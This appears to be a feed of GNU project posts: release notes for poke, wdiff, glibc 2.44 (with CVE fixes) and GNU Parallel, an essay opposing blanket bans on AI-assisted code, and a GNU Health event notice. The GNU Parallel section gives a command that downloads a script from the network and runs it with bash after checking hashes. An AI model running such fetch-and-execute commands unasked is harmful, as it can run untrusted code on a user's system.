I am happy to announce a new major release of GNU poke, version 5.0.

GNU poke 5.0 release is now available at
https://ftp.gnu.o ... e/poke-5.0.tar.gz

The tarball is signed and you can get the PGP signature at
https://ftp.gnu.o ... ke-5.0.tar.gz.sig

  GNU poke (http://www.j ... rch.net/poke) is an interactive, extensible
  editor for binary data.  Not limited to editing basic entities such
  as bits and bytes, it provides a full-fledged procedural,
  interactive programming language designed to describe data
  structures and to operate on them.

I'd like to thank everyone who contributed to this release through code,
documentation, or testing.

What is new in this release:

User interface updates

• Now hyperlink server can bind to a user-specified port for listening to

commands (-p, --hserver-port).

Poke Language updates

• Floating-point arithmetic is now supported on uint<32>/uint<64> types.

  uint<32> will be interpreted as a single-precision floating-point number
  and uint<64> will be interpreted as a double-precision floating-point
  number as defined per the IEEE 754 standard.
  The following expressions are now supported:

    - Addition:       a .+  b
    - Subtraction:    a .-  b
    - Multiplication: a .*  b
    - Division:       a ./  b
    - Ceil-devision:  a ./^ b
    - Exponentiation: a .** b
    - Remainder:      a .%  b
    - Post-increment: a.++
    - Pre-increment:  .++a
    - Post-decrement: a.--
    - Pre-decrement:  .--a
    - Negation:      .-a

    - Less-than:                a .<  b
    - Less-than-or-equal-to:    a .<= b
    - Greater-than:             a .>  b
    - Greater-than-or-equal-to: a .>= b
    - Equal-to:                 a .== b
    - Not-equal-to:             a .!= b

Poke Runtime updates

• Thanks to the great work of David Faust, poke now supports reactive IO

  spaces!  Extent of a PVM value mapped in a given IO space will be tracked
  and values will be re-mapped only if a write happens in their extent; which
  is a big performance win for read-intense programs.

• A bunch of undefined behavior (UB) releated to left-shifts has been fixed.

• Improved human-readable message of E_conv exception when verifying

  length/size of an array with dynamic bound(s) to help the user to
  understand the mistake.

Poke compiler updates

• Now poke can properly handle writes to nested integral struct/unions

  fields.  Previously write to nested fields of integral structs did not
  materialize in IO space.

Standard Poke Library updates

• Closure's pretty printer now adds closure's name (identifier) to output.

• Two new functions to calculate square root of single and double precision

  floating point numbers: sqrtf and sqrtd.
  They accept uint<32> and uint<64> respectively as the IEEE 754 single and
  double precision floating-point numbers.

libpoke updates

• Version of DSO is bumped to 2.0.0, and from this release onward, we try

  to not break the ABI, and bump the version components according to the
  libtool's recommendation (when needed).

• To be able to keep the ABI backward-compatibility promise, all public APIs

  are now accepting either pk_compiler or pk_val.  This is the first step
  toward removing global state from libpoke to be able to have multiple
  instances of libpoke in a single process (and also to be able to accomplish
  thread-safety). We're not there yet, but we'll be there some day (hopefully
  soon)!

IO subsystem updates

• IOS_F_TRUNCATE has been re-introduced (it was removed after release of

  poke 1.0 by the rationale that it's not that useful of a flag.  Turns
  out it's quite useful to start from an empty file when assembling binary
  files from scratch using poke.

Pickles updates

• Improved ustar pickle and add tests.  Method get_last_mod_time has been

  fixed and the following methods has been added:
  get_{file,owner_user,group}_name.

• Improved time pickle to print date and time properly (zero-padded), and

  also add ptime_str function to get date/time information as a string.

Platform supports

• We tried to improve MinGW compilation situation by importing more Gnulib

  modules, but we still cannot have poke executable for MinGW platform.
  Help is very much appreciated in this area!

Documentation updates

• Thanks to people who actually read the reference manual, this release

  includes a bunch of corrections to the documentation! Cheers to them!


Happy poking!
Mohammad-Reza Nabipoor

This is to announce wdiff-1.2.3, a stable release.

There have been 29 commits by 2 people in the 637 weeks since 1.2.2.

See the NEWS below for a brief summary.

Thanks to everyone who has contributed!
The following people contributed changes to this release:

  Bob Proulx (6)
  Simon Josefsson (23)

Happy Hacking,
Simon [on behalf of the wdiff maintainers]
==================================================================

Here is the GNU wdiff home page:
  https://www.gnu.org/software/wdiff/

Manual:
  https://www.gnu.org/software/wdiff/manual/
  https://www.gnu.org/software/wdiff/manual/wdiff.html - HTML format
  https://www.gnu.org/software/wdiff/manual/wdiff.pdf  - PDF format

Here are the compressed sources and a GPG detached signature:
  https://ftp.gnu.org/gnu/wdiff/wdiff-1.2.3.tar.gz
  https://ftp.gnu.org/gnu/wdiff/wdiff-1.2.3.tar.gz.sig

Here is minimal source-only "git archive" sources:
  https://ftp.gnu.org/gnu/wdiff/wdiff-v1.2.3-src.tar.gz
  https://ftp.gnu.org/gnu/wdiff/wdiff-v1.2.3-src.tar.gz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.org/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

  File: wdiff-1.2.3.tar.gz
  SHA256 sum:   29a4457eb0ed35c902e6732d71f25e1d6c7fe7fa0eda0fb6c371ed6779b49fd6
  SHA3-256 sum: 2f558fe6b7a69524f29d266c4018c80a10135cef2e4a53ae3c2944c1fc12c95d

  File: wdiff-v1.2.3-src.tar.gz
  SHA256 sum:   dc29d8f530471b9a8935413dca32e45848363f6e58888fc7307f5f052b8fb827
  SHA3-256 sum: 4db1f41eda5e1525f3ced491af1fc1ad094cc21c209e789d12a1ea8f611be24e

Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.

Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify wdiff-1.2.3.tar.gz.sig

The signature should match the fingerprint of the following key:

  pub   ed25519 2019-03-20 [SC]
        B1D2 BD13 75BE CB78 4CF4  F8C4 D73C F638 C53C 06BE
  uid   Simon Josefsson <simon@josefsson.org>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key simon@josefsson.org

  gpg --recv-keys 51722B08FE4745A2

  wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=wdiff&download=1' | gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

  wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg
  gpg --keyring gnu-keyring.gpg --verify wdiff-1.2.3.tar.gz.sig

This release is based on the wdiff git repository, available as

  git clone https://https.git.savannah.gnu.org/git/wdiff.git

with commit 31fe62c4a3e2a76e5d68f571b1aa2f10815ca51f tagged as v1.2.3.

For a summary of changes and contributors, see:

  https://gitweb.git.savannah.gnu.org/gitweb/?p=wdiff.git;a=shortlog;h=v1.2.3

or run this command from a git-cloned wdiff directory:

  git shortlog v1.2.2..v1.2.3

This release was bootstrapped with the following tools:
  Gnulib 31fe62c4a3e2a76e5d68f571b1aa2f10815ca51f
  Autoconf 2.72
  Automake 1.17
  Make 4.4.1
  Makeinfo 7.3
  Help2man 1.49.2
  Tar 1.35
  Gzip 1.13

NEWS

* Noteworthy changes in release 1.2.3 (2026-06-30) [stable]

** Modernize build environment.
Several minor fixes including build fixes for modern C23 compilers.
Many generated or obsolete files have been removed from git.

GNU poke (http://www.j ... rch.net/poke) is an interactive, extensible
editor for binary data.  Not limited to editing basic entities such
as bits and bytes, it provides a full-fledged procedural,
interactive programming language designed to describe data
structures and to operate on them.

GNU poke 4.90 pre-release is now available at
https://alpha.gnu ... /poke-4.90.tar.gz

The tarball is signed and you can get the PGP signature at
https://alpha.gnu ... e-4.90.tar.gz.sig

The planned date for releasing 5.0 is Sunday 15 August 2026, but
this may change depending on the amount of problems found in this
pre-release, and the subsequent needed additional pre-releases.

Please report any problem found with the pre-release, comments or
patches to poke-devel@gnu.org.

In behalf of the poke developers, thank you!

Happy testing!
Mohammad-Reza Nabipoor

The answer to bad AI-assisted contributions is not a purity test. It is better engineering discipline.

Earlier this year, a discussion in the GNUstep community raised a proposal that will sound familiar across the Free Software world: prohibit AI-generated code in core projects and proudly advertise the result as “coded by humans” or “AI-free.” The argument was not frivolous. Generative AI raises real questions about copyright, attribution, security, energy use, labor, trust, and the flood of low-quality patches that maintainers are increasingly being asked to review.

But a blanket refusal to use generative AI is the wrong response. It does not solve the hardest problems. It creates rules that are nearly impossible to define or enforce, confuses the method of production with the quality of the product, and risks turning Free Software into a movement that protects yesterday’s workflow instead of protecting software freedom.

Open Source and Free Software are already operating with too few maintainers, too much technical debt, and too many important projects resting on the unpaid labor of a handful of people. We should be very careful about categorically rejecting tools that might help contributors understand old code, write tests, improve documentation, port software, find defects, or perform mechanical modernization. We should be even more careful when our proposed alternative offers the appearance of trust without the substance of it.

The better principle is straightforward:

Regulate the code, not the development process.

“AI-generated” is not a workable boundary

What exactly counts as AI-generated code?

Is it a complete function produced from a prompt? A line accepted from an AI-powered autocomplete system? A compiler-suggested correction? An automated refactoring? A test generated from an existing implementation? A translation of documentation? A patch written by a human after asking a model to explain an unfamiliar API? What if the developer uses AI to identify the problem but writes every line manually? What if an IDE quietly includes machine-learning features the contributor never explicitly invoked?

The line between “human-written” and “AI-assisted” is already blurred, and it will become less distinct as generative features are embedded in editors, compilers, debuggers, search engines, and operating systems. A ban that cannot draw a stable boundary will be applied inconsistently. Honest contributors will disclose and be penalized; dishonest contributors will simply omit the disclosure. Others may be falsely accused because their code “looks generated.”

An “AI-free” badge therefore risks promising something a project cannot reliably prove. Free Software should be especially suspicious of unverifiable labels.

The risks are real—and they argue for review

None of this means generated code should be trusted.

Research has found substantial security weaknesses in AI-produced code. One empirical study of Copilot snippets found security problems in roughly 30 percent of Python snippets and 24 percent of JavaScript snippets in its later dataset. Other research has demonstrated that code models can memorize portions of their training data, while studies of license compliance have found that models often provide inaccurate licensing information, particularly for copyleft code. Those are serious concerns, not anti-AI superstition. (Security weaknesses study; memorization study; license-compliance study)

The productivity story is also more complicated than the advertising. GitHub reported that developers completed a controlled programming task considerably faster with Copilot, but a later randomized study of experienced Open Source developers working in their own repositories found that the tools available in early 2025 made them 19 percent slower. METR’s 2026 follow-up found suggestive but still statistically uncertain evidence of improvement with newer tools. AI is neither magic nor uniformly useless; its value depends on the person, task, model, and workflow. (GitHub productivity study; METR 2025 study; METR 2026 update)

But human authorship has never guaranteed secure, original, maintainable, or correctly licensed code. That is why healthy projects require tests, review, contributor certification, licensing rules, and maintainers who can reject bad work. The origin of a patch may affect how carefully we inspect it, but it cannot replace inspection.

If a contributor submits code they do not understand, the contribution should be rejected. If the patch fails tests, violates project style, invents APIs, introduces vulnerabilities, obscures provenance, or imposes an unreasonable review burden, it should be rejected. That is true whether the patch was produced by Claude, Copilot, a Stack Overflow answer, a contractor, a junior programmer, or a senior maintainer having a bad afternoon.

The repository contains code, not virtue.

Review capacity is the scarce resource

Maintainers have a legitimate complaint: AI can make producing a patch far cheaper than reviewing one. A person can generate thousands of lines in minutes and then expect a volunteer to spend hours establishing whether any of it is correct. That asymmetry can become a denial-of-service attack on a project even when the submitter means well.

The answer, however, is not necessarily to ban a tool. It is to place the cost and responsibility back on the contributor.

A project can require that contributors:

• disclose material use of generative AI;

• identify the tool and describe how it was used;

• certify that they reviewed and understand every submitted change;

• explain the design and answer maintainer questions without outsourcing the conversation to a model;

• provide focused tests and evidence that the patch solves a real problem;

• comply with the project’s licensing and provenance requirements;

• keep changes small enough to review; and

• accept that unexplained, low-signal, or mass-generated submissions may be closed without detailed triage.

Disclosure is imperfect, but it establishes a community norm and makes an honest contributor accountable. Research into self-declaration practices has already found developers using everything from a simple disclosure to records of prompts, explanations, and quality checks. Projects can choose a level proportionate to their risk. (Study of AI-code self-declaration)

This approach is stricter than either blind enthusiasm or symbolic prohibition. It does not say, “AI wrote it, so it must be acceptable.” It says, “You submitted it, so you are responsible for it.”

Freedom is not a reenactment of an older toolchain

Free Software is founded on the user’s freedom to run, study, modify, and share software. Those principles describe control over technology; they do not require that every developer use the same approved method to create it. The Open Source Initiative’s work on an Open Source AI Definition likewise frames the issue around the practical freedoms to use, study, modify, and share systems—not around preserving a pre-AI development ritual. (Open Source AI Definition 1.0)

There are valid reasons for preferring Free or locally operated AI tools over proprietary cloud services. A project may reasonably prohibit contributors from uploading confidential material or unreleased security fixes to third-party systems. It may impose stricter provenance requirements in sensitive components. Individual maintainers may decline to review bulk-generated reports that have repeatedly produced noise. These are concrete policies tied to concrete harms.

What does not follow is that a project becomes more free merely because no contributor used a generative tool.

An “AI-free” identity may even distract from the qualities that users actually need: portability, stability, compatibility, security, good documentation, responsive maintenance, and code whose behavior can be understood and changed. A badge is not a substitute for those things.

Blanket refusal has an opportunity cost

Mature Free Software projects often contain decades of code and institutional knowledge. They need documentation, regression tests, API audits, build-system repairs, platform ports, translations, issue triage, and repetitive modernization. Generative AI will not perform those jobs reliably on its own. It can still help a knowledgeable contributor perform some of them.

Rejecting that possibility at the policy level has consequences. It may discourage younger contributors whose development environment already includes these tools. It may disadvantage people working in a second language or developers with disabilities who use AI as an accessibility aid. It may prevent experiments that would have failed harmlessly—or succeeded usefully—under ordinary review. Most dangerously, it can encourage a culture in which the declaration “human-written” is treated as evidence of quality.

Free Software has survived previous waves of automation. High-level languages, garbage collection, IDEs, graphical interface builders, code generators, automated formatters, static analyzers, and online code search all changed what it meant to “write” software. Each tool altered the division of labor between programmer and machine. The relevant question was never whether every token originated in a human mind. The question was whether people retained the freedom, knowledge, and responsibility needed to control the resulting system.

That remains the right question now.

A policy that protects projects without freezing them

A sensible policy can fit on one page:

1. Disclosure: Contributors must disclose material AI assistance in the commit message or pull request.

2. Responsibility: The named human contributor is the author of record and must understand, explain, test, and stand behind the entire submission.

3. Quality: AI-assisted contributions receive the same requirements for correctness, security, maintainability, style, documentation, and test coverage as any other contribution.

4. Provenance: Contributors must have a reasonable basis to believe the submission is license-compatible and must identify known sources or generated passages that may reproduce existing code.

5. Data protection: Project secrets, embargoed vulnerabilities, private communications, and other restricted material may not be submitted to unauthorized external services.

6. Reviewability: Maintainers may reject oversized, unexplained, repetitive, or low-signal submissions without performing free forensic work for the submitter.

7. Local discretion: Components with unusual legal, safety, privacy, or reliability risks may adopt additional written restrictions.

This policy does not resolve every ethical question surrounding generative AI. No contribution policy can. It does, however, address the matters a software project can actually evaluate and enforce.

We should not surrender the future of software freedom

The Free Software community should remain one of the sharpest critics of concentrated corporate power, opaque models, exploitative data practices, environmental cost, and systems that deprive users of control. Criticism is part of our job. So is building an alternative.

If we define ourselves by refusing to touch an important new class of technology, proprietary vendors will shape that technology without us. If instead we insist on transparency, modifiability, privacy, local control, licensing clarity, and human accountability, we can bring the values of Free Software into the AI era.

We do not need to pretend that generative AI is trustworthy. We need processes that do not require us to trust it.

Judge the patch. Demand disclosure. Require understanding. Enforce licensing. Protect reviewers. Reject garbage.

But do not hobble Open Source and Free Software with a blanket ban that is difficult to define, impossible to verify, and disconnected from the quality of the code we ultimately ship.

The GNU C Library
=================

The GNU C Library version 2.44 is now available.

The GNU C Library is used as the C library in the GNU system and
in GNU/Linux systems, as well as many other systems that use Linux
as the kernel.

The GNU C Library is primarily designed to be a portable
and high performance C library.  It follows all relevant
standards including ISO C23 and POSIX.1-2024.  It is also
internationalized and has one of the most complete
internationalization interfaces known.

The GNU C Library website is at http://www.gnu. ... /software/libc/

Packages for the 2.44 release may be downloaded from:
        http://ftpmirr ... .gnu.org/libc/
        http://ftp.gn ... org/gnu/libc/

The mirror list is at http://www.gnu. ... /order/ftp.html

Distributions are encouraged to track the release/* branches
corresponding to the releases they are using.  The release
branches will be updated with conservative bug fixes and new
features while retaining backwards compatibility.

NEWS for version 2.44
=====================

Major new features:

• System-wide tunables can be applied using /etc/tunables.conf and

  running ldconfig.  Specific tunable settings and the
  /etc/tunables.conf file format and path are not part of the stable
  library interfaces and may change between releases.

• A new tunable, glibc.elf.thp, is added to map read-only segments with

  Transparent Huge Pages (THP) if THP is not disabled in the kernel.  When
  glibc.elf.thp is set to 1, malloc uses the actual kernel THP mode
  instead of defaulting to madvise mode and madvise_thp will stop issuing
  MADV_HUGEPAGE if kernel THP mode is always.

• The THP page size in malloc is capped to MAX_THP_PAGESIZE.  If the THP

  page size is above MAX_THP_PAGESIZE, THP in malloc is disabled.

• Additional optimized and correctly rounded mathematical functions have

  been imported from the CORE-MATH project, in particular cosh, sinh, and
  tanh.

• Many additional improvements to existing functions have been synchronized

  from the CORE-MATH project.

• For C++26, the assert macro is now variadic, allowing more complex

  arguments containing commas (which however still must evaluate to a single
  value).

• The SVID error handling for cosh and sinh was moved to compatibility

  symbols, allowing improvements in performance.

• Static PIE is now supported for arm-*-linux-gnueabi.  It requires toolchain

  support to correctly set the expected linker options.

• On AArch64 targets that support the Guarded Control Stack extension all GCS

  operations (including status, write on shadow stack, and push to shadow
  stack) are locked after enabling GCS with ENFORCED or OVERRIDE GCS policy.
  When a GCS operation is locked, a program cannot change this operation
  status via the prctl syscall.  This prevents disabling or corrupting the
  GCS shadow stack during runtime.

• On AArch64 targets, log, exp, sin, cas, sinh, cosh, asinh, acosh, atanh

  single and double precision special cases have been vectorized for SVE and
  AdvSIMD, and vector variants of powr have been added.

• On RISC-V targets, vector extension optimized variants of memcmp, memccpy,

  memchr, memcpy, memmove, stpncpy, strcmp, strchr, strcpy, strncmp, strncpy,
  strlen, and strrchr have been added.

• On PowerPC, memchr optimized for Power10 has been re-added.

• Support for LoongArch32 has been added.

• Pre-built ld.so.cache files can be installed with ldconfig.

• A new locale has been added: hrx_BR (Hunsrik language spoken in Brazil).

Deprecated and removed features, and other changes affecting compatibility:

• Although malloc and related functions currently return pointers

  aligned to alignof (max_align_t), the documentation now says future
  versions of glibc may relax alignment requirements for small allocations.
  For example, a future malloc(1) might return a pointer with odd
  alignment, because no object of size 1 can have a fundamental
  alignment greater than 1.

• The s390-linux-gnu (31bit) configuration is no longer supported.

• The --enable-memory-tagging configure option has been removed.

  The corresponding AArch64-specific functionality that was previously
  activated by this flag has been removed as well.

• The --enable-static-nss configure option has been removed.  It had no

  effect on the build since the NSS reorganization in glibc 2.33; its only
  remaining behavior was to suppress the link-time warnings on the NSS
  interface functions in libc.a, which are now emitted unconditionally.

Security related changes:

The following CVEs were fixed in this release, details of which can be
found in the advisories directory of the release tarball:

  GLIBC-SA-2026-0005:
    gethostbyaddr and gethostbyaddr_r may incorrectly handle DNS
    response (CVE-2026-4437)

  GLIBC-SA-2026-0006:
    gethostbyaddr and gethostbyaddr_r return invalid DNS hostnames
    (CVE-2026-4438)

  GLIBC-SA-2026-0007:
    iconv crash due to assertion failure with untrusted input
    (CVE-2026-4046)

The following bugs were resolved with this release:

  [2363] libc: EOPNOTSUPP and ENOTSUP in errno.h must be different,
    according to SUSv3
  [3794] manual: iconv: TRANSLIT and IGNORE feature not documented
  [15792] dynamic-link: [arm] ARM dynamic linker should save/restore
    coprocessor registers
  [20331] libc: fts ignores errors from readdir()
  [20680] dynamic-link: ifunc resolver cannot access the thread pointer
    with static linking
  [22944] libc: fts cannot traverse paths which have a length longer
    than USHRT_MAX
  [25257] libc: sotruss: fix error message for '--f' argument
  [25770] locale: newlocale memory leak in LOCPATH parsing and on error
    paths
  [27582] libc: x86_64: IFUNC in static user programs may crash when
    built with -fstack-protector-all
  [28218] dynamic-link: ld.so: ifunc resolver calls a lazy PLT. When
    does it work?
  [28817] libc: static-pie ifunc resolver tls failure
  [28940] nss: __nss_database_get doesn't check for allocation failure
  [30136] manual: Please document behaviour of iconv(3) when input is
    untranslatable
  [30304] nptl: nptl/tst-pthread-gdb-attach test fails with new libc
    shared library version
  [30769] malloc: malloc_trim is not working correctly for arenas other
    than arena 0
  [30976] dynamic-link: rtld: resolve ifunc relocations after
    JUMP_SLOT/GLOB_DAT/etc
  [30992] libc: alpha: setrlimit() with negative values besides
    RLIM_INFINITY returns EPERM
  [31901] libc: elf/tst-glibc-hwcaps-prepend-cache fails on i686
  [33226] math: math-vector-fortran.h vs not ffast-math
  [33626] libc: execvpe should skip inaccessible $PATH components
  [33650] build: abilist.awk doesn't handle unversioned defined symbols
  [33785] stdio: New streams are linked into global list before they are
    fully initialized
  [33848] build: Build fails at openat2.h, redefinition of 'struct
    open_how'
  [33882] libc: Recursion in nftw() causes stack overflow(CWE-674)
  [33904] build: error: '__vasprintf_chk' undeclared here
  [33921] build: Building with Linux-7.0-rc1 errors on OPEN_TREE_CLONE
  [33935] stdio: _IO_wfile_doallocate not linked correctly when linking
    glibc statically
  [33980] locale: iconv: ibm139x trigger assertion error when converting
    to internal while lack enough room (CVE-2026-4046)
  [33985] build: ld: cannot find -lgcc_s: No such file or directory
  [33999] stdio: libio: potential dangling _IO_save_base or memory leak
    in wgenops.c
  [34006] stdio: libio: inconsistent fmemopen_write behavior on last \0
  [34008] stdio: stdio-common: scanf %mc pattern will cause heap
    overflow when width > 1024
  [34014] nss: gethostbyaddr and gethostbyaddr_r may incorrectly handle
    DNS response
  [34015] nss: gethostbyaddr and gethostbyaddr_r return invalid DNS
    hostnames
  [34019] stdio: libio: undefined behavior when setbuf on open_memstream
  [34033] network: resolv/ns_print.c: ns_sprintrrf TSIG path bypasses
    buflen and can overflow caller buffer
  [34064] dynamic-link: The unnecessary PT_NOTE check in when loading a
    binary
  [34069] network: Buffer overread in ns_sprintrrf with corrupted RDATA
    field (CVE-2026-6238)
  [34070] hurd: Calling open ("/dev/tty/", O_RDONLY) causes the program
    to segfault
  [34073] regex: regexec can mistakenly match with backrefs and the $
    anchor
  [34079] dynamic-link: THP segment load aligns all PT_LOAD segments to
    THP page size
  [34080] dynamic-link: Support THP segment load with THP enabled with
    madvise
  [34083] dynamic-link: __get_thp_mode and __get_thp_size are called
    twice
  [34090] libc: wordexp WRDE_APPEND rollback restores stale we_wordv,
    leading to invalid free in wordfree
  [34098] libc: Missing SUPPORT_STATIC_PIE in arm32
  [34129] string: x86: Non-temporal memset unreachable on AMD Zen 3/4/5
  [34144] libc: ld.so clobbers VFP registers during runtime linking
  [34154] network: Segfault in sock_eq after res_init() returns -1, due
    to stale _u._ext.nscount in __res_iclose
  [34156] dynamic-link: dlsym(RTLD_DEFAULT, ...) from a constructor
    SIGSEGVs when tail-called
  [34164] dynamic-link: elf: IFUNC resolvers do not see static TLS
    initialization
  [34170] dynamic-link: elf:  IFUNC resolver reading global-
    dynamic/TLSDESC __thread variable crashes inside __tls_get_addr
  [34183] math: fma produces wrong results
  [34192] nptl: pthread_setname_np opens /proc/<tid>/comm with O_RDWR
    instead of O_WRONLY|O_CLOEXEC
  [34196] libc: elf: static dlopen: pointer guard of the loaded
    ld.so/libc.so is left uninitialized
  [34197] dynamic-link: elf: Stack canary and pointer guard are
    recoverable from AT_RANDOM (getauxval)
  [34205] libc: aarch64: SIGSEGV in tunable_strcmp in static-pie
    binaries run with a string tunable
  [34208] stdio: scanf not pushback after matching failure
  [34210] libc: elf/tst-glibc-hwcaps-prepend-cache fails on
    armv7a-unknown-linux-gnueabihf
  [34236] locale: Non-representable transliteration still causes iconv
    to exit with 1 if TRANSLIT is specified
  [34289] network: ns_sprintrrf uses p_class, p_type internally
  [34311] build: THP tests failed to link
  [34347] libc: Incorrect trailing bitfield word of struct tcp_info
  [34348] dynamic-link: FAIL: elf/tst-thp-1 if THP is disabled in kernel
  [34351] build: Random test failures
  [34355] build: [2.44 Regression] "make check -j7 subdirs=stdio-common"
    no longer works
  [34396] libc: sparc64-unknown-linux-gnu , Gentoo: >200 test failures,
    SIGILL in many binaries
  [34398] string: Truncated strncpy on s390x z900 ifunc variant

Release Notes
=============

https://sourcewar ... wiki/Release/2.44

Contributors
============

This release was made possible by the contributions of many people.
The maintainers are grateful to everyone who has contributed
changes or bug reports.  These include:

Adam Yi
Adhemerval Zanella
Alejandro Colomar
Andreas K. Hüttel
Andreas Schwab
Arjun Shankar
Aurelien Jarno
Avinal Kumar
Brian Jorgensen
Carlos O'Donell
Carlos Peón Costa
Charlotte Mcmenamin
Collin Funk
Cosmina Dunca
DJ Delorie
Daan De Meyer
Deng Jianbo
Dev Jain
Diego Nieto Cid
Dmitry Kovalenko
Dylan Fleming
Etienne Brateau
Fabian Rast
Florian Weimer
Frédéric Bérat
Garccez
George Hu
H.J. Lu
Jakub Jelinek
Jiamei Xie
Jiho Lee
Jiri Stransky
John David Anglin
Jonathan Wakely
Josef Johansson
Joseph Myers
Justus Winter
Luca Boccassi
Lucas Chollet
Martin Coufal
Matt Turner
Michael Ford
Michael Jeanson
Michael Kelly
Mike FABIAN
Mike Kelly
Muhammad Kamran
Nicolas Boulenguez
Paul Eggert
Peter Bergner
Peter Collingbourne
Petr Menšík
Pierre Blanchard
Pino Toscano
Pádraig Brady
Richard Wild
Rocket Ma
RyotaSaito
Sachin Monga
Sajan Karumanchi
Sam James
Samuel Balazi
Samuel Thibault
Sana Kazi
Sergey Kolosov
Shamil Abdulaev
Shengwen Cheng
Siddhesh Poyarekar
Stefan Liebler
Thomas Daubney
Tomasz Kamiński
Uros Bizjak
WANG Rui
Weihong Ye
Weixie Cui
Wilco Dijkstra
Xi Ruoyao
Xiang Gao
Yao Zihong
Yunze Zhu
Yury Khrustalev
Zihong Yao
mengqinggang
xiejiamei
zombie12138

We would like to call out the following and thank them for their
tireless patch review:

Adhemerval Zanella
Andreas K. Hüttel
Arjun Shankar
Aurelien Jarno
caiyinyu
Carlos O'Donell
Collin Funk
DJ Delorie
Florian Weimer
Frédéric Bérat
Ganesh Gopalasubramanian
H.J. Lu
JiangNing
Mathieu Desnoyers
Paul Eggert
Paul Zimmermann
Peter Bergner
Sam James
Samuel Thibault
Siddhesh Poyarekar
Stefan Liebler
Sunil K Pandey
Wilco Dijkstra
Yury Khrustalev

Los próximos días 5, 6 y 7 de agosto tendrán lugar las XVII Jornadas Nacionales de Debate Interdisciplinario en Salud y Población “Investigar e intervenir en salud en tiempos de negacionismos y retrocesos”, organizadas por el Área de Salud y Población del Instituto de Investigaciones Gino Germani de la Facultad de Ciencias Sociales de la Universidad de Buenos Aires (UBA).

Luis Falcón (GNU Solidario) junto al Dr. Fernando Sassetti (UNER) presentarán en la sección "Desigualdades Sociales de la Salud", con el título "Software Libre como modelo de equidad, privacidad, soberanía tecnológica y sostenibilidad en salud. El caso de GNU Health".

Para la comunidad de GNU Health es un privilegio y un honor ser parte de este tan importante evento que lucha por la dignidad del individuo y de la comunidad, por un sistema sanitario público, de calidad y universal. Un sistema y un derecho hoy seriamente  comprometido y amenazado por las grandes corporaciones financieras y tecnológicas.

Haciendo alusión al título de las jornadas, la comunidad GNU y la filosofía del Software Libre representan el faro moral para Investigar e intervenir en salud en tiempos de negacionismos y retrocesos.

¡Nos vemos en Buenos Aires!

A new security release was published today! A minor Out-of-bounds Read was discovered. And fixed!

No confidential impact is possible.
A very low risk of crash is possible.

Enjoy & update!
Aymeric

GNU Parallel 20260722 ('Chat Control')  has been released. It is available for download at: lbry://@GnuParallel:4

Quote of the month:

  gnu parallelすごい！！！
    -- たらたら@nosennyuu@twitter

New in this release:

• Bug fixes and man page updates.

GNU Parallel - For people who live life in the parallel lane.

If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.

About GNU Parallel

GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.

If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.

GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.

For example you can run this to convert all jpeg files into png and gif files and have a progress bar:

  parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif

Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:

  find . -name '*.jpg' |
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200

You can find more about GNU Parallel at: http://www.gnu ... rg/s/parallel/

You can install GNU Parallel in just 10 seconds with:

    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
       fetch -o - http://pi.dk/3 ) > install.sh
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
    70727536 3428aa9e 9a136b9a 7296dfe4
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
    $ bash install.sh

Watch the intro video on http://www.youtub ... L284C9FF2488BC6D1

Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.

When using programs that use GNU Parallel to process data for publication please cite:

O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/1 ... 81/zenodo.1146014.

If you like GNU Parallel:

• Give a demo at your local user group/team/colleagues
• Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
• Get the merchandise https://gnuparall ... igns/gnu-parallel
• Request or write a review for your favourite blog or magazine
• Request or build a package for your favourite distribution (if it is not already there)
• Invite me for your next conference

If you use programs that use GNU Parallel for research:

• Please cite GNU Parallel in you publications (use --citation)

If GNU Parallel saves you money:

• (Have your company) donate to FSF https://my.f ... .org/donate/

About GNU SQL

GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.

The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.

When using GNU SQL for a publication please cite:

O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.

About GNU Niceload

